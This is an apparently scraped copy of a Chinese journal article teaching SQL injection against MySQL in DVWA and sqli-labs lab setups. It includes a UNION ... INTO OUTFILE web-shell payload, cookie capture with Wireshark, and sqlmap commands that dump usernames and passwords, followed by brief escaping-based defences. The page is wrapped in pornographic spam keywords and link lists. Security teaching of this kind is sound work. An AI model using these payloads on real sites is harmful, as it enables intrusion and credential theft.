999精品在线视频,手机成人午夜在线视频,久久不卡国产精品无码,中日无码在线观看,成人av手机在线观看,日韩精品亚洲一区中文字幕,亚洲av无码人妻,四虎国产在线观看 ?

針對(duì)MySQL數(shù)據(jù)庫的自動(dòng)化工具的注入與防御

2018-01-03 07:06:08張嫻蘇州工業(yè)園區(qū)服務(wù)外包職業(yè)學(xué)院
數(shù)碼世界 2017年12期
關(guān)鍵詞:頁面數(shù)據(jù)庫用戶

張嫻 蘇州工業(yè)園區(qū)服務(wù)外包職業(yè)學(xué)院

針對(duì)MySQL數(shù)據(jù)庫的自動(dòng)化工具的注入與防御

張嫻 蘇州工業(yè)園區(qū)服務(wù)外包職業(yè)學(xué)院

1 背景

SQL 注入(SQL Injection)是應(yīng)用程序通過向后臺(tái)數(shù)據(jù)庫提交(SQL,Structured Query Language)查詢時(shí),如果攻擊者具有影響該查詢結(jié)果的能力時(shí),我們就稱為是會(huì)產(chǎn)生SQL攻擊。典型的SQL注入更多的是針對(duì)服務(wù)器端的數(shù)據(jù)庫,然而根據(jù)目前HTML5的代碼規(guī)范,攻擊者同樣可以執(zhí)行如Javascript等腳本來竊取客戶端的代碼。

1.1 SQL 注入構(gòu)建

SQL 是 訪 問 SQL server、Oracle、Mysql、Sybase和Informix等數(shù)據(jù)庫服務(wù)器的標(biāo)準(zhǔn)語言。

大多數(shù)Web應(yīng)用,如ASP、PHP、Java、C#等都具有通過可編程的方法與數(shù)據(jù)庫進(jìn)行交互。

那如果Web在開發(fā)過程中,Web提交的表單參數(shù)和如cookies類的隱私信息無法保障其來源可信度的話,那么SQL注入漏洞就有可能產(chǎn)生。每種編程語言均提供了很多不同的方法來構(gòu)造和執(zhí)行SQL語句,但在開發(fā)過程中若對(duì)Web與基礎(chǔ)數(shù)據(jù)庫交互理解不透徹的話,往往就會(huì)讓攻擊者有機(jī)可趁。比如以下幾種情況是需要給程序員警告的安全建議:

(1)轉(zhuǎn)義字符攻擊

在SQL 語句構(gòu)造過程中,單引號(hào)(’),雙引號(hào)(”),空 格( ), 如 $SQL=” select ? from Table_A where user=’$_GET[“username”]’ ” ,其 中 $_GET[“username”]是PHP語言獲取網(wǎng)頁表單的信息傳遞給數(shù)據(jù)庫的表現(xiàn)形式。該語句主要用來查詢輸入的字符串,將網(wǎng)頁表單中輸入的用戶名作為條件進(jìn)行數(shù)據(jù)庫查詢。單引號(hào)外面的內(nèi)容是要運(yùn)行的代碼,用單引號(hào)里面的內(nèi)容均是數(shù)據(jù)。所以,單引號(hào)的構(gòu)造,可以進(jìn)行Web 站點(diǎn)受SQL注入攻擊。單引號(hào)引起了MySQL的語法錯(cuò)誤:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1。

(2)類型處理攻擊

SQL注入應(yīng)用時(shí),若用戶輸入的參數(shù)是整型,則單引號(hào)是不用加的。如$SQL=” select ? from Table_A where id=$_GET[“userid”]”。MySQL提供一條UNION命令進(jìn)行聯(lián)合 執(zhí) 行。 如 id=$_GET[“userid”] UNION SELECT “<?system(‘cmd’); ?>” INTO OUTFILE FILEPATH。該命令用來創(chuàng)建系統(tǒng)文件并進(jìn)行寫操作。通過以上命令打開了一個(gè)遠(yuǎn)程交互式訪問的Web Shell。Web Shell主要以PHP、ASP、JSP等網(wǎng)頁文件形式存在的一種命令執(zhí)行環(huán)境。通常稱之為網(wǎng)頁后門。

2 識(shí)別SQL注入

識(shí)別SQL注入漏洞是通過發(fā)送意外數(shù)據(jù)來出發(fā)異常。那么以下三個(gè)點(diǎn)就是識(shí)別的關(guān)鍵:數(shù)據(jù)輸入的類型、會(huì)觸發(fā)異常的類型、檢測(cè)服務(wù)器響應(yīng)的異常。Web瀏覽器以何種方式向服務(wù)器發(fā)送請(qǐng)求,不同的相應(yīng)會(huì)通過不同的參數(shù)提交給予相應(yīng)。常用的參數(shù)有GET請(qǐng)求、POST請(qǐng)求、cookie注入。

GET請(qǐng)求服務(wù)器響應(yīng)的HTTP方法,請(qǐng)求信息包含在URL中。瀏覽器創(chuàng)建GET請(qǐng)求,發(fā)送給Web服務(wù)器,瀏覽器響應(yīng)結(jié)果。如GET /test.php?id=1。用戶可以在瀏覽器中直接將id進(jìn)行修改就可以操控參數(shù)。一般GET方法是網(wǎng)站設(shè)計(jì)時(shí)設(shè)計(jì)好的,用在子頁面的打開等情況。

POST是向Web服務(wù)器發(fā)送信息的HTTP。一般POST是用于用戶填寫表單向服務(wù)器提交參數(shù)。一般參數(shù)不出現(xiàn)在URL上面。

雖然大多數(shù)應(yīng)用都從GET或POST 參數(shù)中檢索數(shù)據(jù),但類似cookie的數(shù)據(jù)也會(huì)引發(fā)SQL漏洞。cookie被用于驗(yàn)證、會(huì)話控制和保存用戶特定的信息。因此,cookie可能會(huì)通過用戶輸入方式或者cookie值被劫持遭受攻擊。一般cookie注入可以通過Wireshark等抓包分析cookie值來進(jìn)行注入。下面的小節(jié)會(huì)詳細(xì)描述其過程。

3 SQLMap

SQLMap是開源的利用(系統(tǒng))脆弱性自動(dòng)進(jìn)行數(shù)據(jù)庫入侵和滲透的工具。它具有一個(gè)非常強(qiáng)有力的探測(cè)引擎,但請(qǐng)注意SQLMap只是用來檢測(cè)和利用sql注入點(diǎn)的。并不是網(wǎng)站掃描工具。SQLMap支持的數(shù)據(jù)庫有:MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2,SQLite, Firebird, Sybase和SAP MaxDB。SQLMap支持測(cè)試GET參數(shù),POST參數(shù),HTTP Cookie參數(shù),HTTP User-Agent頭和HTTP Referer頭來確認(rèn)是否有SQL注入,它也可以指定用逗號(hào)分隔的列表的具體參數(shù)來測(cè)試。。

4 Cookie 注入(劫持)攻擊

4.1 DVWA 安裝

如上一小節(jié)描述,登錄DVWA系統(tǒng)。點(diǎn)擊SQL Injection頁面,在User ID中填寫參數(shù)1,意思是id=1。

4.2 WireShark 抓包

啟動(dòng)WireShark主界面,選擇網(wǎng)口eth0。

打開瀏覽器。保證數(shù)據(jù)包的抓取。利用WireShark編輯命令過濾條目 ip.a(chǎn)ddr=192.168.84.249 && http,顯示滿足該地址的HTTP包。

利用鼠標(biāo)向右滾動(dòng),查找滿足當(dāng)前頁面(id=1)的HTTP包。找到應(yīng)用層數(shù)據(jù)中包含的cookie值。

4.3 SQLmap 自動(dòng)注入

打開終端,啟動(dòng)SQLMap。

執(zhí)行

sqlmap"http://192.168.84.249/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHP SESSID=862fadc973927e2fe027eec8acbdb2ed" --current-db--current-user。

由執(zhí)行結(jié)果,該后臺(tái)數(shù)據(jù)庫類型為Mysql ;操作系統(tǒng)為L(zhǎng)inux Ubuntu 8.04 (Hardy Heron); 當(dāng)前用戶為 root;當(dāng)前數(shù)據(jù)庫為dvwa。此結(jié)果表示cookie注入(劫持)攻擊成功。執(zhí)行結(jié)果。

4.4 參數(shù)提交攻擊

Kali中 打 開 瀏 覽 器 輸 入 http://192.168.85.159/sqli/Less-1/,打開實(shí)驗(yàn)環(huán)境,在終端中輸入 sqlmap -u"http://192.168.85.159/sqli/Less-1/?id=1" --dbms mysql –dbs, 指定探測(cè)類型mysql,由于當(dāng)前用戶是root,因此--dbs可以有權(quán)限列舉出當(dāng)前所有數(shù)據(jù)庫。

接著探測(cè)當(dāng)前數(shù)據(jù)庫和用戶,在SQLmap 中使用--current-db和--current-user參數(shù)。

sqlmap -u "http://192.168.85.159/sqli/Less-1/?id=1"--dbms mysql –current-db --current-user,當(dāng)前受攻擊機(jī)數(shù)據(jù)庫用戶是root,當(dāng)前Less-1頁面使用的數(shù)據(jù)庫是security。

探測(cè)當(dāng)前數(shù)據(jù)庫security下所有的表,執(zhí)行

sqlmap -u "http://192.168.85.159/sqli/Less-1/?id=1"--dbms mysql --tables -D security ,在這里要說明是--tables這個(gè)參數(shù),這個(gè)參數(shù)后指定-D就說明指定當(dāng)前數(shù)據(jù)庫中的所有表,如這個(gè)要探測(cè)security下所有的表,但如果沒有使用-D,就表是要探測(cè)數(shù)據(jù)庫中所有的表。

獲取用戶表中的信息,執(zhí)行命令

sqlmap -u "http://192.168.85.159/sqli/Less-1/?id=1"--dbms mysql -D security -T users --column。-T users,表示指定探測(cè)表是users,--column探測(cè)該表中的所有列。探測(cè)結(jié)束發(fā)現(xiàn)users表有三列,id,password,username ,包含了用戶id,用戶密碼,用戶名。

獲取users表用戶名和密碼列的信息,執(zhí)行

sqlmap -u "http://192.168.85.159/sqli/Less-1/?id=1"--dbms mysql -D security -T users -C username,password--dump。

其中-C username,password 列出用戶名和密碼。--dump獲取整個(gè)表的信息。

5 SQL防御技術(shù)

本章節(jié)的SQL注入的兩個(gè)實(shí)驗(yàn)都是基于類型處理不當(dāng)而導(dǎo)致的漏洞,敏感字符如(’)、() 等沒有得到有效過濾。當(dāng)一個(gè)(’)變成了有效的程序輸入,往往就能構(gòu)造有效的攻擊語句。因此,防御攻擊需要程序員在頁面開發(fā)過程中增加字符過濾函數(shù)。本次實(shí)驗(yàn)的頁面開發(fā)語句均是PHP,因此下面的函數(shù)都是PHP開發(fā)函數(shù)。如mysql_real_escape_string()轉(zhuǎn)義敏感字符、stripslashes()刪除反斜杠等。32。

6 小結(jié)

通過本章節(jié),讀者主要理解了SQL 程序開發(fā)不當(dāng)引起的一些危險(xiǎn),掌握了SQL 注入的原理以及攻擊的手段。數(shù)據(jù)的處理是網(wǎng)頁多層架構(gòu)開發(fā)中的存儲(chǔ)層,學(xué)習(xí)了它是如何與用戶進(jìn)行交互的。本章節(jié)利用自動(dòng)注入工具快速尋找、確認(rèn)、自動(dòng)發(fā)現(xiàn)SQL注入。主要給讀者呈現(xiàn)了Cookie劫持、Get參數(shù)提交等完整的攻擊過程及防御的手段。

張嫻,性別:女,出生年月:19810927,漢,單位:蘇州工業(yè)園區(qū)服務(wù)外包職業(yè)學(xué)院,職稱:講師,學(xué)歷:大學(xué),主要研究方向:數(shù)據(jù)庫安全。

項(xiàng)目編號(hào):zyk-026,項(xiàng)目名稱:MySQL使用技術(shù),項(xiàng)目來源:校級(jí)網(wǎng)絡(luò)共享資源課。

猜你喜歡
頁面數(shù)據(jù)庫用戶
大狗熊在睡覺
刷新生活的頁面
數(shù)據(jù)庫
關(guān)注用戶
商用汽車(2016年11期)2016-12-19 01:20:16
關(guān)注用戶
商用汽車(2016年6期)2016-06-29 09:18:54
數(shù)據(jù)庫
關(guān)注用戶
商用汽車(2016年4期)2016-05-09 01:23:12
數(shù)據(jù)庫
數(shù)據(jù)庫
如何獲取一億海外用戶
主站蜘蛛池模板: 色悠久久久| 色婷婷综合在线| 国产视频一区二区在线观看| 91精品国产自产在线观看| 91在线一9|永久视频在线| 无码aⅴ精品一区二区三区| 成人一区专区在线观看| 成人字幕网视频在线观看| 女人18毛片一级毛片在线 | 久久夜夜视频| 亚洲国产精品一区二区第一页免 | 97影院午夜在线观看视频| 综合社区亚洲熟妇p| 国内精品视频区在线2021| 亚洲精品综合一二三区在线| 国产jizz| 色婷婷天天综合在线| 国产精品成人观看视频国产| 国产99久久亚洲综合精品西瓜tv| 色天天综合| 欧美一级特黄aaaaaa在线看片| 毛片在线看网站| 99热国产这里只有精品9九| 国产精品白浆在线播放| 中文字幕永久在线看| 亚洲综合久久一本伊一区| 青草娱乐极品免费视频| 97在线视频免费观看| 亚洲色图另类| 精品福利网| 日韩国产高清无码| 午夜天堂视频| 久久人搡人人玩人妻精品| 色网在线视频| 中国黄色一级视频| 99久久婷婷国产综合精| 国产一在线观看| 国产精品亚欧美一区二区| 在线免费无码视频| 国产午夜无码片在线观看网站| 性激烈欧美三级在线播放| 亚洲精品无码久久毛片波多野吉| 最新国产在线| 久久综合亚洲色一区二区三区| 91久久偷偷做嫩草影院免费看| 香蕉精品在线| 久久狠狠色噜噜狠狠狠狠97视色 | 亚洲成a人在线观看| 尤物成AV人片在线观看| 欧美一区二区三区不卡免费| 亚洲欧美成人综合| 亚洲欧美日本国产综合在线| 91福利一区二区三区| 亚洲国产综合精品一区| 欧美综合在线观看| 精品国产美女福到在线直播| 国产色婷婷| 色吊丝av中文字幕| av一区二区三区高清久久| 在线视频一区二区三区不卡| 国内毛片视频| 波多野结衣无码AV在线| 97久久免费视频| 91蜜芽尤物福利在线观看| 国产美女无遮挡免费视频| 欧洲欧美人成免费全部视频| 国产理论精品| 亚洲天堂成人在线观看| 啊嗯不日本网站| 亚洲精品黄| 全部毛片免费看| 日本精品视频一区二区| 91久久偷偷做嫩草影院电| 天天摸天天操免费播放小视频| 日本精品视频一区二区| 日本精品中文字幕在线不卡| 免费看a级毛片| 综合社区亚洲熟妇p| 亚洲日韩国产精品综合在线观看| 亚洲精品视频免费看| 老司国产精品视频91| 精品国产一二三区|